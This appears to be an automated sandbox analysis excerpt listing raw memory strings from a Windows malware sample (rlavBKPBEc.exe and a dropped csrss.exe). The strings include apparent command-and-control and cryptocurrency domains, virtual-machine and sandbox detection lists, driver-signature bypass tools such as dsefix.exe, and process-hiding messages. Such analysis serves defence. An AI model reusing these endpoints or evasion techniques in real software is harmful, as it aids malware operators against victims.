Source: rlavBKPBEc.exe, 00000006.00000002.326767088.00000000160DA000.00000004.00000001.sdmp	Binary or memory string: qxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exe[System Process]SystemRegistrysmss.exefontdrvhost.exefontdrvhost.exedwm.exeMemory Compressionmemory compressionsmartscreen.exeShellExperienceHost.exeshellexperiencehost.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exebackgroundTaskHost.exebackgroundtaskhost.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exebackgroundTaskHost.exebackgroundtaskhost.exebackgroundTaskHost.exebackgroundtaskhost.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exebackgroundTaskHost.exebackgroundtaskhost.exeTrustedInstaller.exetrustedinstaller.exerlavBKPBEc.exeSgrmBroker.exemsvmmouf[System Process]SystemRegistrysmss.exefontdrvhost.exefontdrvhost.exedwm.exeMemory Compressionmemory compressionsmartscreen.exeShellExperienceHost.exeshellexperiencehost.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exebackgroundTaskHost.exebackgroundtaskhost.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exebackgroundTaskHost.exebackgroundtaskhost.exebackgroundTaskHost.exebackgroundtaskhost.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exexenevtchn
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: IP addressIsValidSidKeep-AliveKharoshthiLocalAllocLockFileExLogonUserWManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseFloatPhoenicianProcessingPulseEventRST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieUser-AgentVMSrvc.exeVT_ILLEGALWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]\\.\WinMon\patch.exe^{[\w-]+}$app_%d.txtatomicand8casgstatuscmd is nilcomplex128connectiondnsapi.dlldsefix.exedwarf.Attre.keff.orgexitThreadexp mastergetsockoptgoroutine http_proxyimage/jpegimage/webpinvalidptrkeep-alivemSpanInUseno resultsnot a boolnot signedowner diedprl_cc.exeres binderres masterresumptionrune <nil>runtime: gschedtracesemacquireset-cookiesetsockoptsocks bindterminatedtracefree(tracegc()
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTESTING KEYTTL expiredVBoxServiceVMUSrvc.exeVT_RESERVEDVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exealarm clockapplicationbad addressbad messagebad timedivbitcoins.skbroken pipecampaign_idcgocall nilclobberfreeclosesocketcombase.dllcompaign_idcreated by crypt32.dlldnsmessage.e2.keff.orgembedded/%sfile existsfinal tokenfloat32nan2float64nan2float64nan3gccheckmarkgeneralizedget CDN: %wgetpeernamegetsocknamehttps_proxyi/o timeoutlocal errorlost mcachemSpanManualmethodargs(mswsock.dllnext servernil contextorannis.comparse errorprocess: %sraw-controlreflect.Setretry-afterruntime: P runtime: p scheddetailsechost.dllsecur32.dllservice: %sshell32.dllshort writetaskmgr.exetls: alert(tracealloc(traffic updunreachableuserenv.dllversion=183wininet.dllwup_process (sensitive) [recovered] allocCount found at *( gcscandone m->gsignal= minTrigger= nDataRoots= nSpanRoots= pages/byte
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: VersionVirtualWSARecvWSASend"%s" %stypes value=abortedalt -> ancientany -> booleancharsetchunkedcmd.execonnectconsolecpu: %scrimsonderivedexpiresfallingfeatherfireflyfloat32float64gctraceglitterhttp://id is 0invalidkdu.exelookup max-agemorningnil keynop -> number panic: patientrefererrefreshrunningserial:server=signal silencesvc_versyscallthundertraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwsarecvwsasendwup_verxen: %wxennet6 data=%q etypes goal
Source: rlavBKPBEc.exe, 00000006.00000002.326767088.00000000160DA000.00000004.00000001.sdmp	Binary or memory string: vmsrvc.exe
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dllauthorizationbad flushGen bad map statebtc.cihar.combtc.xskyx.netcache-controlcontent-rangecouldn't polldalTLDpSugct?data is emptyemail addressempty integerexchange fullfatal error: gethostbynamegetservbynamegzip, deflatehttp2client=0if-none-matchimage/svg+xmlinvalid UTF-8invalid base kernel32.dllkey expansionlast-modifiedlevel 3 resetload64 failedlogs endpointmaster secretname is emptynil stackbasenot a Float32open file: %wout of memoryparallels: %wparse URL: %wparsing time powrprof.dllprl_tools.exerebooting nowscvg: inuse: servers countservice statesigner is nilsocks connectsrmount errorstill in listtimer expiredtrailing datatriggerRatio=unimplementedunsupported: user canceledvalue method verifier hashverifier hostvirtualpc: %wxadd64 failedxchg64 failed}
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: vboxservice.exe
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: (MISSING)(unknown)+infinity, newval=, oldval=-07:00:00-infinity/api/cdn?/api/poll244140625: status=; Domain=Accuracy(AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExecQueryFindCloseForbiddenGetDIBitsHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLocalFreeMalayalamMongolianMoveFileWNabataeanNot FoundOP_RETURNOSCaptionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]atomicor8b.ooze.ccbad indirbillowingbroadcastbus errorbutterflychallengechan sendcomplex64connectexcopystackcsrss.exectxt != 0d.nx != 0ecdsa.netempty urlfn.48.orgfodhelperfork/execfuncargs(gdi32.dllimage/gifimage/pnginterfaceinterruptipv6-icmplingeringlocalhostmSpanDeadmSpanFreemulticastnew tokennil errorntdll.dllole32.dllomitemptypanicwaitpatch.exepclmulqdqprecisionprintableprotocol psapi.dllraw-writereboot inrecover: reflect: resonancerwxrwxrwxscheduledsnowflakesparklingsucceededtask %+v
Source: rlavBKPBEc.exe, 00000006.00000002.326767088.00000000160DA000.00000004.00000001.sdmp	Binary or memory string: xensvcxenvdb
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: throbbingunderflowunhandledw3m/0.5.1wanderingwaterfallweatheredwebsocketxenevtchn} stack=[ MB goal, actual
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: vboxtray.exe
Source: csrss.exe	Binary or memory string: tUsage of %s: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: rlavBKPBEc.exe, 00000006.00000002.326767088.00000000160DA000.00000004.00000001.sdmp	Binary or memory string: smss.execsrss.exewininit.execsrss.exeservices.exewinlogon.exelsass.exesvchost.exesvchost.exesvchost.exesvchost.exedwm.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exespoolsv.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesihost.exesvchost.exesvchost.exesvchost.exectfmon.exeexplorer.exesvchost.exedllhost.exeSearchUI.exesearchui.exesvchost.exesvchost.exeWmiPrvSE.exewmiprvse.exeWmiPrvSE.exewmiprvse.exeWmiPrvSE.exewmiprvse.exesvchost.exesvchost.exesvchost.exesvchost.execonhost.exeUsoClient.exeusoclient.exeUsoClient.exeusoclient.exesvchost.exesvchost.exedllhost.exesvchost.exexennetxennet6$
Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: unknown network workbuf is emptywww-authenticate initialHeapLive= spinningthreads=%%!%c(big.Int=%s)0123456789ABCDEFX0123456789abcdefx060102150405Z07001192092895507812559604644775390625: missing method ; SameSite=StrictAdjustTokenGroupsCOMPRESSION_ERRORCanSet() is falseCertFindExtensionCreateStdDispatchCryptDecodeObjectDnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5ReadProcessMemoryRegLoadMUIStringWSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenToo Many RequestsTransfer-EncodingUnified_IdeographVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDNbad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't get pidscouldn't hide PIDcouldn't registercpu name is emptydecryption faileddiscover-electrumelectrumx.soon.itembedded/%s32.sysembedded/%s64.sysenode.duckdns.orgentersyscallblockerbium1.sytes.netexec format errorexec: not startedexponent overflowfile URL is emptyfractional secondgp.waiting != nilhandshake failureif-modified-sinceillegal parameterimpersonation: %win string literalindex > windowEndinteger too largeinvalid bit size invalid stream IDkey align too biglibwww-perl/5.820locked m0 woke upmark - bad statusmarkBits overflowmissing closing )missing closing ]missing extensionnil resource bodyno data availablenotetsleepg on g0permission deniedpseudo-device: %sread revision: %wrecords are emptyreflect.Value.Capreflect.Value.Intreflect.Value.Lenreflect: New(nil)reflect: call of runtime.newosprocruntime: a.base= runtime: b.base= runtime: nameOff runtime: next_gc=runtime: pointer runtime: textOff runtime: typeOff scanobject n == 0seek at 0x%0x: %wseeker can't seekselect (no cases)stack: frame={sp:thread exhaustiontransfer-encodingtruncated headersunknown caller pcwait for GC cyclewine_get_version
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d/%d-%s/31340370000390625:31461<-chanAcceptAnswerArabicAugustBasic BitBltBrahmiCANCELCarianChakmaClass(CommonCookieCopticDELETEExpectFltMgrFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaProgidRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFVT(%d)WINDIRWinMonWinmon[]byte\??\%s\csrss\ufffd
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: vmhgfs$
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: vboxtray.exevboxservice.exesmss.exevboxtray.exevboxservice.execsrss.exevboxtray.exevboxservice.exewininit.exevboxtray.exevboxservice.execsrss.exevboxtray.exevboxservice.exeservices.exevboxtray.exevboxservice.exewinlogon.exevboxtray.exevboxservice.exelsass.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exedwm.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exespoolsv.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesihost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exectfmon.exevboxtray.exevboxservice.exeexplorer.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exedllhost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exeSearchUI.exesearchui.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exeWmiPrvSE.exewmiprvse.exevboxtray.exevboxservice.exeWmiPrvSE.exewmiprvse.exevboxtray.exevboxservice.exeWmiPrvSE.exewmiprvse.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exesvchost.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevboxtray.exevboxservice.exevbox
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: [system process]vboxtray.exe
Source: csrss.exe	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTESTING KEYTTL expiredVBoxServiceVMUSrvc.exeVT_RESERVEDVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exealarm clockapplicationbad addressbad message
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp	Binary or memory string: ?advapi32.dllRegQueryValueExWFirewallDefenderhttps://trumops.comhttps://retoti.comServiceVersionServersVersionDistributorIDCampaignIDOSCaptionMicrosoft Windows 10 ProOSArchitectureVBoxGuestVBoxService\\.\VBoxGuest\\.\VBoxTrayIPC[System Process]vgauthservice.exeSystemvgauthservice.exeRegistryvgauthservice.exesmss.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exefontdrvhost.exevgauthservice.exefontdrvhost.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exedwm.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeMemory Compressionmemory compressionvgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeRuntimeBroker.exeruntimebroker.exevgauthservice.exeRuntimeBroker.exeruntimebroker.exevgauthservice.exevgauthservice.exebackgroundTaskHost.exebackgroundtaskhost.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exebackgroundTaskHost.exebackgroundtaskhost.exevgauthservice.exevgauthservice.exeTrustedInstaller.exetrustedinstaller.exevgauthservice.exerlavBKPBEc.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevmusbmousevmx_svga\\.\HGFS\\.\vmci[System Process]SystemRegistrysmss.exefontdrvhost.exefontdrvhost.exedwm.exeMemory Compressionmemory compressionsmartscreen.exeShellExperienceHost.exeshellexperiencehost.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exebackgroundTaskHost.exebackgroundtaskhost.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhf
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: vmmousesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.execonhost.exesharedintapp.exeUsoClient.exeusoclient.exesharedintapp.exeUsoClient.exeusoclient.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exedllhost.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exerlavbkpbec.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesgrmbroker.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exerlavbkpbec.exesvchost.exesvchost.exesvchost.exesgrmbroker.exesvchost.exe
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp	Binary or memory string: systemvmsrvc.exe
Source: csrss.exe	Binary or memory string: ikiPRIORITYParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUgariticVBoxWddmVT_ARRAYVT_BYREFWSAIoctlWinmonFS[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnumacceptexa
Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: ><'\'') = ) m=+Inf+inf, n -Inf-inf.bat.cmd.com.css.exe.gif.htm.jpg.mjs.pdf.png.svg.sys.xml0.100x%x108020063125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCDN=CESTChamDATADashDateEESTEtagFromGOGCGoneHEADHKCCHKLMHostJulyJuneLisuMiaoModiNZDTNZSTNameNewaPINGPOSTQEMUROOTSASTStatThaiUUIDWESTXeon"%s"\rss\smb\u00\wup
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: *struct { Caption string }Microsoft Windows 10 ProPatchTimeYV8Y73GGOpenProcessTokenGetTokenInformationS-1-5-18c:\windows\rss\csrss.exeCreateToolhelp32Snapshot[System Process]SystemRegistrysmss.exefontdrvhost.exefontdrvhost.exedwm.exeMemory Compressionmemory compressionsmartscreen.exeShellExperienceHost.exeshellexperiencehost.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exebackgroundTaskHost.exebackgroundtaskhost.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exebackgroundTaskHost.exebackgroundtaskhost.exebackgroundTaskHost.exebackgroundtaskhost.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exebackgroundTaskHost.exebackgroundtaskhost.exeTrustedInstaller.exetrustedinstaller.exerlavBKPBEc.exeSgrmBroker.exeVBoxWddmCloseServiceHandleVBoxMousevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exesmartscreen.exevgauthservice.exevgauthservice.exevgauthservice.exeShellExperienceHost.exeshellexperiencehost.exevgauthservice.exevgauthservice.exeRuntimeBroker.exeruntimebroker.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exevgauthservice.exebackgroundTaskHost.exebackgroundtaskhost.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exebackgroundTaskHost.exebackgroundtaskhost.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeRuntimeBroker.exeruntimebroker.exevgauthservice.exeRuntimeBroker.exeruntimebroker.exevgauthservice.exeRuntimeBroker.exeruntimebroker.exevgauthservice.exevgauthservice.exeSgrmBroker.exevgauthservice.exevgauthservice.exevmmemctlqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exeqxmruFnPhflIrdfqOkpMSu.exeqxmrufnphflirdfqokpmsu.exebackgroundTaskHost.exebackgroundtaskhost.exebackgroundTaskHost.exebackgroundtaskhost.exeRuntimeBroker.exeru
